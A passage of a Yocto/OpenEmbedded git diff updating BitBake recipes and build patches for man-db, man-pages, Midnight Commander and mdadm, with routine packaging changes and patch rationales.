+FILES:${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
+
+RDEPENDS:${PN} += "groff"
+RRECOMMENDS:${PN} += "less"
+# iconv from glibc-utils can be used to transform encoding
+RRECOMMENDS:${PN}:append:libc-glibc = " glibc-utils"
+RPROVIDES:${PN} += "man"
+
+def compress_pkg(d):
+ if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
+ compress = d.getVar("DOC_COMPRESS")
+ if compress == "gz":
+ return "gzip"
+ elif compress == "bz2":
+ return "bzip2"
+ elif compress == "xz":
+ return "xz"
+ return ""
+
+RDEPENDS:${PN} += "${@compress_pkg(d)}"
+
+SYSTEMD_SERVICE:${PN} = "man-db.timer man-db.service"
+SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-db/man-db_2.9.3.bb b/meta/recipes-extended/man-db/man-db_2.9.3.bb
deleted file mode 100644
index 0e6016a73c..0000000000
--- a/meta/recipes-extended/man-db/man-db_2.9.3.bb
+++ /dev/null
@@ -1,58 +0,0 @@
-SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
-HOMEPAGE = "http://man-db.nongnu.org/"
-LICENSE = "LGPLv2.1 & GPLv2"
-LIC_FILES_CHKSUM = "file://docs/COPYING.LIB;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://docs/COPYING;md5=eb723b61539feef013de476e68b5c50a"
-
-SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
- file://99_mandb \
- file://man_db.conf-avoid-multilib-install-file-conflict.patch"
-SRC_URI[sha256sum] = "fa5aa11ab0692daf737e76947f45669225db310b2801a5911bceb7551c5597b8"
-
-DEPENDS = "libpipeline gdbm groff-native base-passwd"
-RDEPENDS_${PN} += "base-passwd"
-
-# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr'
-USE_NLS_libc-musl = "no"
-
-inherit gettext pkgconfig autotools systemd
-
-EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_unitdir}/system"
-EXTRA_AUTORECONF += "-I ${S}/gl/m4"
-
-do_install() {
- autotools_do_install
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -d ${D}/etc/default/volatiles
- install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles
- fi
-}
-
-do_install_append_libc-musl() {
- rm -f ${D}${libdir}/charset.alias
-}
-
-FILES_${PN} += "${prefix}/lib/tmpfiles.d"
-
-FILES_${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
-
-RDEPENDS_${PN} += "groff"
-RRECOMMENDS_${PN} += "less"
-RPROVIDES_${PN} += " man"
-
-def compress_pkg(d):
- if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
- compress = d.getVar("DOC_COMPRESS")
- if compress == "gz":
- return "gzip"
- elif compress == "bz2":
- return "bzip2"
- elif compress == "xz":
- return "xz"
- return ""
-
-RDEPENDS_${PN} += "${@compress_pkg(d)}"
-
-SYSTEMD_SERVICE_${PN} = "man-db.timer man-db.service"
-SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch b/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch
new file mode 100644
index 0000000000..a644d24328
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch
@@ -0,0 +1,31 @@
+From fbf0544138af02be4d6dd3085e7ecf98ad060bb4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Wed, 13 Mar 2024 17:30:02 +0100
+Subject: [PATCH] GNUmakefile: use env from PATH
+
+This allows using env from coreutils-native (rather than host env),
+which resolves the problem of missing -S option on distributions
+with much older coreutils such as Ubuntu 18.04.
+
+Once all autobuilder distros are newer than that, this patch
+can be dropped, together with corutils-native dependency.
+
+Upstream-Status: Inappropriate [made for obsolete host distros]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ GNUmakefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/GNUmakefile b/GNUmakefile
+index 1234194..65ba327 100644
+--- a/GNUmakefile
++++ b/GNUmakefile
+@@ -21,7 +21,7 @@
+ ########################################################################
+
+
+-SHELL := /usr/bin/env
++SHELL := env
+ .SHELLFLAGS := -S bash -Eeuo pipefail -c
+
+
diff --git a/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch b/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch
new file mode 100644
index 0000000000..ec2d0600c7
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch
@@ -0,0 +1,33 @@
+From f16cd8c4986b7f250e8465dfbe4bda8d366e05dd Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 4 Mar 2024 14:35:16 +0100
+Subject: [PATCH] man.ml: do not use /dev/stdin
+
+This was introduced in https://git.kernel.org/pub/scm/docs/man-pages/man-pages.git/commit/?id=30c38a8bf8ae8f4a6e71d3b8ac4abf0a40778f1e
+(presumably to build a 'sed | install' pipeline instead of previous 'install; sed' sequence),
+but it doesn't work under pseudo where /dev/stdin is absent.
+
+Upstream-Status: Inappropriate [yocto specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ share/mk/install/man.mk | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/share/mk/install/man.mk b/share/mk/install/man.mk
+index b9865b9..06880f0 100644
+--- a/share/mk/install/man.mk
++++ b/share/mk/install/man.mk
+@@ -60,10 +60,10 @@ $(foreach s, $(MANSECTIONS), \
+
+ $(_manpages):
+ $(info INSTALL $@)
+- <$< \
+- $(SED) $(foreach s, $(MANSECTIONS), \
++ $(INSTALL_DATA) -T $< $@
++ $(SED) -i $(foreach s, $(MANSECTIONS), \
+ -e '/^\.so /s, man$(s)/\(.*\)\.$(s)$$, $(notdir $(man$(s)dir))/\1$(man$(s)ext)$(Z),') \
+- | $(INSTALL_DATA) -T /dev/stdin $@
++ $@
+ ifeq ($(LINK_PAGES),symlink)
+ if $(GREP) '^\.so ' <$@ >/dev/null; then \
+ $(GREP) '^\.so ' <$@ \
diff --git a/meta/recipes-extended/man-pages/man-pages_5.07.bb b/meta/recipes-extended/man-pages/man-pages_5.07.bb
deleted file mode 100644
index 04d0597b3d..0000000000
--- a/meta/recipes-extended/man-pages/man-pages_5.07.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "Linux man-pages"
-DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
-SECTION = "console/utils"
-HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
-LICENSE = "GPLv2+"
-
-LIC_FILES_CHKSUM = "file://README;md5=207f70f56526417514ac46b6680e314f"
-SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz"
-
-SRC_URI[md5sum] = "193d9223e9c6dbe1d928eaaecc1f68db"
-SRC_URI[sha256sum] = "5ba58d7b2b9a8929903b1cf791ed4edf72ab225678d5ea0a6b80dc090080ac33"
-
-inherit manpages
-
-MAN_PKG = "${PN}"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[manpages] = ""
-
-do_configure[noexec] = "1"
-do_compile[noexec] = "1"
-
-do_install() {
- oe_runmake install DESTDIR=${D}
-}
-
-# Only deliveres man-pages so FILES_${PN} gets everything
-FILES_${PN}-doc = ""
-FILES_${PN} = "${mandir}/*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "passwd.5 getspnam.3 crypt.3"
-ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
-ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
-ALTERNATIVE_LINK_NAME[crypt.3] = "${mandir}/man3/crypt.3"
diff --git a/meta/recipes-extended/man-pages/man-pages_6.06.bb b/meta/recipes-extended/man-pages/man-pages_6.06.bb
new file mode 100644
index 0000000000..0f091bbd7d
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages_6.06.bb
@@ -0,0 +1,50 @@
+SUMMARY = "Linux man-pages"
+DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
+SECTION = "console/utils"
+HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
+LICENSE = "GPL-2.0-or-later & GPL-2.0-only & GPL-1.0-or-later & BSD-2-Clause & BSD-3-Clause & BSD-4-Clause & MIT"
+
+LIC_FILES_CHKSUM = "file://README;md5=72cff06b7954222c24d38bc2c41b234e \
+ file://LICENSES/BSD-2-Clause.txt;md5=9e16594a228301089d759b4f178db91f \
+ file://LICENSES/BSD-3-Clause.txt;md5=407426fcc1a243b7b2eff6e35c56aca9 \
+ file://LICENSES/BSD-4-Clause-UC.txt;md5=1da3cf8ad50cd8d5d1de3cfc53196d01 \
+ file://LICENSES/GPL-1.0-or-later.txt;md5=e5b7c80002ef72ab868b43ce47b65125 \
+ file://LICENSES/GPL-2.0-only.txt;md5=3d26203303a722dedc6bf909d95ba815 \
+ file://LICENSES/GPL-2.0-or-later.txt;md5=3d26203303a722dedc6bf909d95ba815 \
+ file://LICENSES/Linux-man-pages-1-para.txt;md5=97ab07585ce6700273bc66461bf46bf2 \
+ file://LICENSES/Linux-man-pages-copyleft-2-para.txt;md5=1cafc230857da5e43f3d509c425d3c64 \
+ file://LICENSES/Linux-man-pages-copyleft.txt;md5=173b960c686ff2d26f043ddaeb63f6ce \
+ file://LICENSES/Linux-man-pages-copyleft-var.txt;md5=d33708712c5918521f47f23b0c4e0d20 \
+ file://LICENSES/MIT.txt;md5=7dda4e90ded66ab88b86f76169f28663 \
+ "
+SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz \
+ file://0001-man.ml-do-not-use-dev-stdin.patch \
+ file://0001-GNUmakefile-use-env-from-PATH.patch \
+ "
+
+SRC_URI[sha256sum] = "006906e7be81a71c2d347809597bcb91485fa7fa488acdaa79e681ddfa894568"
+
+inherit manpages
+
+# can be dropped when ubuntu 18.04 is not in use anymore
+DEPENDS += "coreutils-native"
+
+MAN_PKG = "${PN}"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[manpages] = ""
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+
+do_install() {
+ oe_runmake install prefix=${prefix} DESTDIR=${D}
+ rm -rf ${D}${mandir}/man3/crypt.3
+ rm -rf ${D}${mandir}/man3/crypt_r.3
+ rm -rf ${D}${mandir}/man3/getspnam.3
+ rm -rf ${D}${mandir}/man5/passwd.5
+}
+
+# Only deliveres man-pages so FILES:${PN} gets everything
+FILES:${PN}-doc = ""
+FILES:${PN} = "${mandir}/*"
diff --git a/meta/recipes-extended/mc/files/0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch b/meta/recipes-extended/mc/files/0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch
deleted file mode 100644
index 824c12f8d2..0000000000
--- a/meta/recipes-extended/mc/files/0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-From 58dd59637ac5c6340ddfe96ad8b76883e4da20ef Mon Sep 17 00:00:00 2001
-From: Sergei Trofimovich <slyfox@gentoo.org>
-Date: Tue, 3 Mar 2020 09:26:12 +0000
-Subject: [PATCH] Ticket #4070: misc/Makefile.am: install mc.lib only once.
-
-Before the change mc.lib was installed twice due to being
-in two _DATA variables:
-
-dist_pkgdata_DATA = \
- mc.lib
-
-pkgdata_DATA = \
- $(dist_pkgdata_DATA) \
- $(PKGDATA_OUT)
-
-This causes occasional install failures when two parallel
-`/usr/bin/install` calls race in installing the file:
-
-$ make -j20 DESTDIR=/var/tmp/portage/app-misc/mc-4.8.24/image install
-...
- /usr/lib/portage/python3.6/ebuild-helpers/xattr/install \
- -c -m 644 mc.lib '/var/tmp/portage/app-misc/mc-4.8.24/image/usr/share/mc'
- /usr/lib/portage/python3.6/ebuild-helpers/xattr/install \
- -c -m 644 mc.lib mc.charsets '/var/tmp/portage/app-misc/mc-4.8.24/image/usr/share/mc'
-...
- /usr/bin/install: cannot create regular file
- '/var/tmp/portage/app-misc/mc-4.8.24/image/usr/share/mc/mc.lib': File exists
-
-After the change mc.lib is present only in dist_pkgdata_DATA.
-
-Upstream-Status: Backport [https://github.com/MidnightCommander/mc/commit/afb09f7cd7024484845ade25e15b8b93d6cf2d2c]
-
-Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
-Signed-off-by: Andrew Borodin <aborodin@vmail.ru>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- misc/Makefile.am | 2 --
- 1 file changed, 2 deletions(-)
-
-diff --git a/misc/Makefile.am b/misc/Makefile.am
-index 8ed1826..24f4a0e 100644
---- a/misc/Makefile.am
-+++ b/misc/Makefile.am
-@@ -17,7 +17,6 @@ dist_pkgdata_DATA = \
- mc.lib
-
- pkgdata_DATA = \
-- $(dist_pkgdata_DATA) \
- $(PKGDATA_OUT)
-
- SCRIPTS_IN = \
-@@ -54,7 +53,6 @@ EXTRA_DIST = \
- $(LIBFILES_SCRIPT) \
- $(SCRIPTS_IN) \
- $(noinst_DATA) \
-- $(dist_pkgdata_DATA) \
- $(PKGDATA_IN)
-
- install-data-hook:
diff --git a/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch b/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch
deleted file mode 100644
index bf8037cd28..0000000000
--- a/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch
+++ /dev/null
@@ -1,129 +0,0 @@
-From cdc7c278212ae836eecb4cc9d42c29443cc128a0 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Thu, 6 Apr 2017 02:24:28 -0700
-Subject: [PATCH] mc: replace "perl -w" with "use warnings"
-
-The shebang's max length is usually 128 as defined in
-/usr/include/linux/binfmts.h:
- #define BINPRM_BUF_SIZE 128
-
-There would be errors when @PERL@ is longer than 128, use
-'/usr/bin/env perl' can fix the problem, but '/usr/bin/env perl -w'
-doesn't work:
-
-/usr/bin/env: perl -w: No such file or directory
-
-So replace "perl -w" with "use warnings" to make it work.
-
-The man2hlp.in already has "use warnings;", so just remove '-w' is OK.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- src/man2hlp/man2hlp.in | 2 +-
- src/vfs/extfs/helpers/a+.in | 4 +++-
- src/vfs/extfs/helpers/mailfs.in | 3 ++-
- src/vfs/extfs/helpers/patchfs.in | 3 ++-
- src/vfs/extfs/helpers/ulib.in | 4 +++-
- src/vfs/extfs/helpers/uzip.in | 3 ++-
- 6 files changed, 13 insertions(+), 6 deletions(-)
-
-diff --git a/src/man2hlp/man2hlp.in b/src/man2hlp/man2hlp.in
-index f095830..558a674 100644
---- a/src/man2hlp/man2hlp.in
-+++ b/src/man2hlp/man2hlp.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # Man page to help file converter
- # Copyright (C) 1994, 1995, 1998, 2000, 2001, 2002, 2003, 2004, 2005,
-diff --git a/src/vfs/extfs/helpers/a+.in b/src/vfs/extfs/helpers/a+.in
-index 579441c..fe446f4 100644
---- a/src/vfs/extfs/helpers/a+.in
-+++ b/src/vfs/extfs/helpers/a+.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # External filesystem for mc, using mtools
- # Written Ludek Brukner <lubr@barco.cz>, 1997
-@@ -9,6 +9,8 @@
-
- # These mtools components must be in PATH for this to work
-
-+use warnings;
-+
- sub quote {
- $_ = shift(@_);
- s/([^\w\/.+-])/\\$1/g;
-diff --git a/src/vfs/extfs/helpers/mailfs.in b/src/vfs/extfs/helpers/mailfs.in
-index e9455be..059f41f 100644
---- a/src/vfs/extfs/helpers/mailfs.in
-+++ b/src/vfs/extfs/helpers/mailfs.in
-@@ -1,6 +1,7 @@
--#! @PERL@ -w
-+#! @PERL@
-
- use bytes;
-+use warnings;
-
- # MC extfs for (possibly compressed) Berkeley style mailbox files
- # Peter Daum <gator@cs.tu-berlin.de> (Jan 1998, mc-4.1.24)
-diff --git a/src/vfs/extfs/helpers/patchfs.in b/src/vfs/extfs/helpers/patchfs.in
-index ef407de..3ad4b53 100644
---- a/src/vfs/extfs/helpers/patchfs.in
-+++ b/src/vfs/extfs/helpers/patchfs.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # Written by Adam Byrtek <alpha@debian.org>, 2002
- # Rewritten by David Sterba <dave@jikos.cz>, 2009
-@@ -9,6 +9,7 @@
-
- use bytes;
- use strict;
-+use warnings;
- use POSIX;
- use File::Temp 'tempfile';
-
-diff --git a/src/vfs/extfs/helpers/ulib.in b/src/vfs/extfs/helpers/ulib.in
-index 418611f..82c7ccf 100644
---- a/src/vfs/extfs/helpers/ulib.in
-+++ b/src/vfs/extfs/helpers/ulib.in
-@@ -1,9 +1,11 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # VFS to manage the gputils archives.
- # Written by Molnár Károly (proton7@freemail.hu) 2012
- #
-
-+use warnings;
-+
- my %month = ('jan' => '01', 'feb' => '02', 'mar' => '03',
- 'apr' => '04', 'may' => '05', 'jun' => '06',
- 'jul' => '07', 'aug' => '08', 'sep' => '09',
-diff --git a/src/vfs/extfs/helpers/uzip.in b/src/vfs/extfs/helpers/uzip.in
-index b1c4f90..c8eb335 100644
---- a/src/vfs/extfs/helpers/uzip.in
-+++ b/src/vfs/extfs/helpers/uzip.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- #
- # zip file archive Virtual File System for Midnight Commander
- # Version 1.4.0 (2001-08-07).
-@@ -9,6 +9,7 @@
- use POSIX;
- use File::Basename;
- use strict;
-+use warnings;
-
- #
- # Configuration options
---
-2.10.2
-
diff --git a/meta/recipes-extended/mc/files/nomandate.patch b/meta/recipes-extended/mc/files/nomandate.patch
index 48bd73b110..92fa443865 100644
--- a/meta/recipes-extended/mc/files/nomandate.patch
+++ b/meta/recipes-extended/mc/files/nomandate.patch
@@ -1,21 +1,32 @@
+From 78c5fd90a052f95157b3914c708a08b2eeab0154 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 4 Feb 2020 18:12:15 +0000
+Subject: [PATCH] mc: Fix manpage date indeterminism
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
The man page date can vary depending upon the host perl, e.g. in Russian
some versions print 'июня', others 'Июнь' or Polish 'czerwca' or 'czerwiec'.
-Rather than depend upon perl-native to fix this, just remove the date from
+Rather than depend upon perl-native to fix this, just remove the date from
the manpages.
RP 2020/2/4
Upstream-Status: Inappropriate [OE specficic reproducibility workaround]
Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ doc/man/date-of-man-include.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
-Index: mc-4.8.23/doc/man/date-of-man-include.am
-===================================================================
---- mc-4.8.23.orig/doc/man/date-of-man-include.am
-+++ mc-4.8.23/doc/man/date-of-man-include.am
+diff --git a/doc/man/date-of-man-include.am b/doc/man/date-of-man-include.am
+index 96f9f10..d734c5d 100644
+--- a/doc/man/date-of-man-include.am
++++ b/doc/man/date-of-man-include.am
@@ -1,5 +1,5 @@
SED_PARAMETERS = \
- -e "s/%DATE_OF_MAN_PAGE%/$${MAN_DATE}/g" \
+ -e "s/%DATE_OF_MAN_PAGE%//g" \
- -e "s/%DISTR_VERSION%/@DISTR_VERSION@/g" \
- -e "s{%prefix%{@prefix@{g" \
+ -e "s/%MAN_VERSION%/@MAN_VERSION@/g" \
-e "s{%sysconfdir%{@sysconfdir@{g" \
+ -e "s{%libexecdir%{@libexecdir@{g" \
diff --git a/meta/recipes-extended/mc/mc_4.8.24.bb b/meta/recipes-extended/mc/mc_4.8.24.bb
deleted file mode 100644
index 034df2a422..0000000000
--- a/meta/recipes-extended/mc/mc_4.8.24.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "Midnight Commander is an ncurses based file manager"
-HOMEPAGE = "http://www.midnight-commander.org/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
-SECTION = "console/utils"
-DEPENDS = "ncurses glib-2.0 util-linux"
-RDEPENDS_${PN} = "ncurses-terminfo-base"
-RRECOMMENDS_${PN} = "ncurses-terminfo"
-
-SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
- file://0001-mc-replace-perl-w-with-use-warnings.patch \
- file://nomandate.patch \
- file://0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch \
- "
-SRC_URI[md5sum] = "2621de1fa9058a9c41a4248becc969f9"
-SRC_URI[sha256sum] = "cfcc4d0546d0c3a88645a8bf71612ed36647ea3264d973b1f28183a0c84bae34"
-
-inherit autotools gettext pkgconfig
-
-#
-# Both Samba (smb) and sftp require package delivered from meta-openembedded
-#
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[smb] = "--enable-vfs-smb,--disable-vfs-smb,samba,"
-PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
-
-EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
-CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'"
-CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'"
-CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes"
-
-do_install_append () {
- sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
-
- rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
-}
-
-PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-fish"
-
-SUMMARY_${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
-FILES_${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
- ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
- ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
- ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
- ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
- ${libexecdir}/mc/extfs.d/uzip"
-RDEPENDS_${BPN}-helpers-perl = "perl"
-
-SUMMARY_${BPN}-helpers = "Midnight Commander shell helper scripts"
-FILES_${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
-
-SUMMARY_${BPN}-fish = "Midnight Commander Fish scripts"
-FILES_${BPN}-fish = "${libexecdir}/mc/fish"
diff --git a/meta/recipes-extended/mc/mc_4.8.31.bb b/meta/recipes-extended/mc/mc_4.8.31.bb
new file mode 100644
index 0000000000..69c32887a2
--- /dev/null
+++ b/meta/recipes-extended/mc/mc_4.8.31.bb
@@ -0,0 +1,57 @@
+SUMMARY = "Midnight Commander is an ncurses based file manager"
+HOMEPAGE = "http://www.midnight-commander.org/"
+DESCRIPTION = "GNU Midnight Commander is a visual file manager, licensed under GNU General Public License and therefore qualifies as Free Software. It's a feature rich full-screen text mode application that allows you to copy, move and delete files and whole directory trees, search for files and run commands in the subshell. Internal viewer and editor are included."
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
+SECTION = "console/utils"
+DEPENDS = "ncurses glib-2.0 util-linux file-replacement-native"
+RDEPENDS:${PN} = "ncurses-terminfo-base"
+RRECOMMENDS:${PN} = "ncurses-terminfo"
+
+SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
+ file://nomandate.patch \
+ "
+SRC_URI[sha256sum] = "f42f4114ed42f6cf9995f1d896fa6c797ccb36dac57760dda8dd9f78ac462841"
+
+inherit autotools gettext pkgconfig
+
+#
+# Both Samba (smb) and sftp require package delivered from meta-openembedded
+#
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
+
+# enable NCURSES_WIDECHAR=1 only if ENABLE_WIDEC has not been explicitly disabled (e.g. by the distro config).
+# When compiling against the ncurses library, NCURSES_WIDECHAR needs to explicitly set to 0 in this case.
+CFLAGS:append:libc-musl = "${@' -DNCURSES_WIDECHAR=1' if bb.utils.to_boolean((d.getVar('ENABLE_WIDEC') or 'True')) else ' -DNCURSES_WIDECHAR=0'}"
+EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args"
+EXTRANATIVEPATH += "file-native"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL_FOR_BUILD='/usr/bin/env perl'"
+CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'"
+CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'"
+CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes"
+
+do_install:append () {
+ sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
+
+ rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
+}
+
+PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-shell"
+
+SUMMARY:${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
+FILES:${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
+ ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
+ ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
+ ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
+ ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
+ ${libexecdir}/mc/extfs.d/uzip"
+RDEPENDS:${BPN}-helpers-perl = "perl"
+
+SUMMARY:${BPN}-helpers = "Midnight Commander shell helper scripts"
+FILES:${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
+
+SUMMARY:${BPN}-shell = "Midnight Commander Shell scripts"
+FILES:${BPN}-shell = "${libexecdir}/mc/shell"
diff --git a/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch b/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch
deleted file mode 100644
index 803a59b3ec..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From b273e892bd6aaafe448f84356abb78a6d463e784 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 7 Dec 2018 17:22:39 -0800
-Subject: [PATCH] Compute abs diff in a standard compliant way
-
-This make it a bit less implementation defined and silences clang
-warning -Wabsolute-value
-
-| super-intel.c:2822:20: error: taking the absolute value of unsigned type 'unsi
-gned long long' has no effect [-Werror,-Wabsolute-value]
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- super-intel.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/super-intel.c b/super-intel.c
-index 6438987..10d7218 100644
---- a/super-intel.c
-+++ b/super-intel.c
-@@ -2819,7 +2819,7 @@ static unsigned long long calc_component_size(struct imsm_map *map,
- * 2048 blocks per each device. If the difference is higher it means
- * that array size was expanded and num_data_stripes was not updated.
- */
-- if ((unsigned int)abs(calc_dev_size - dev_size) >
-+ if ((unsigned int)abs((int)calc_dev_size - (int)dev_size) >
- (1 << SECT_PER_MB_SHIFT) * member_disks) {
- component_size = dev_size / member_disks;
- dprintf("Invalid num_data_stripes in metadata; expected=%llu, found=%llu\n",
diff --git a/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch b/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
index 298f276cd6..fa1f0aa520 100644
--- a/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
+++ b/meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch
@@ -1,4 +1,4 @@
-From a9166bf422da1001bac9cc819386bf39b7cd1b73 Mon Sep 17 00:00:00 2001
+From 76856a34a4e339e4a53b09d028f89fcc520e3127 Mon Sep 17 00:00:00 2001
